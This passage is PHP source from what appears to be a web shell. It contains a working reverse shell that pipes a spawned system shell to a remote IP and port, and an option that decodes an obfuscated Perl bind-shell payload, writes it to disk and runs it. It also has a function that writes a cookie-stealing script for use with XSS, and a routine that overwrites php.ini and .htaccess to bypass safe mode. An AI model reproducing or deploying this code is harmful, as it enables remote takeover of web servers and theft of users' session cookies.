exit(1);

}

$daemon = 1;

}

else

{

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock)

{

printit("$errstr ($errno)");

exit(1);

}

$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process))

{

printit("ERROR: Can't spawn shell");

exit(1);

}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("<font color=green>Successfully opened reverse shell to $ip:$port </font>");

while (1)

{

if (feof($sock))

{

printit("ERROR: Shell connection terminated");

break;

}

if (feof($pipes[1]))

{

printit("ERROR: Shell process terminated");

break;

}

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a))

{

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}

if (in_array($pipes[1], $read_a))

{

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}

if (in_array($pipes[2], $read_a))

{

if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

echo "<br /><br /><hr /><br /><br /></div>";

}

else if($option=="PERL Bind Shell")

{

global $bind_perl, $os;

$pbfl=$bind_perl;

$handlr=fopen("indrajith_perl_bind.pl", "wb");

if($handlr)

{

fwrite($handlr, gzinflate(base64_decode($bind_perl)));

}

else

{

alert("Access Denied for create new file");

}

fclose($handlr);

if(file_exists("indrajith_perl_bind.pl"))

{

if($os=="nix")

{

cmd("chmod +x indrajith_perl_bind.pl;perl indrajith_perl_bind.pl $port");

}

else

{

cmd("perl indrajith_perl_bind.pl $port");

}

}

}

}

function cookie_jack()

{

global $cookie_highjacker;

echo "<div id=result><center><h2>NOTICE</h2><hr/>";

if(function_exists('fopen') && function_exists('fwrite'))

{

$cook=gzinflate(base64_decode($cookie_highjacker));

$han_le=fopen("jith_cookie.php", "w+");

if($han_le)

{

fwrite($han_le, $cook);

echo "Yes... Cookie highjacker is generated.<br /> Name : <a style='color:green;' target=_blank href=jith_cookie.php>jith_cookie.php</a></font>.<br /> Rename it as 404.php or what you like and highjack cookie of your target.<br />It is usefull in XSS<br />It will make a file <font color=red>configuration.txt</font> in this direcory and save the cookie value in it. :p cheers...<br /><br /><hr /><br /><br /></center></div>";

}

else

{

echo "<font color=red>Sorry... Generate COOKIE HIGHJACKER failed<br /><br /><hr /><br /><br /></center></div>";

}

}

}

function safe_mode_fuck()

{

global $s_php_ini,$s_htaccess,$s_htaccess_pl,$ini_php;

$path = chdir($_GET['path']);

chdir($_GET['path']);

switch($_GET['safe_mode'])

{

case "s_php_ini":

$s_file=$s_php_ini;

$s_name="php.ini";

break;

case "s_htaccess":

$s_name=".htaccess";

$s_file=$s_htaccess;

break;

case "s_htaccess_pl":

$s_name=".htaccess";

$s_file=$s_htaccess_pl;

break;

case "s_ini_php":

$s_name="ini.php";

$s_file=$ini_php;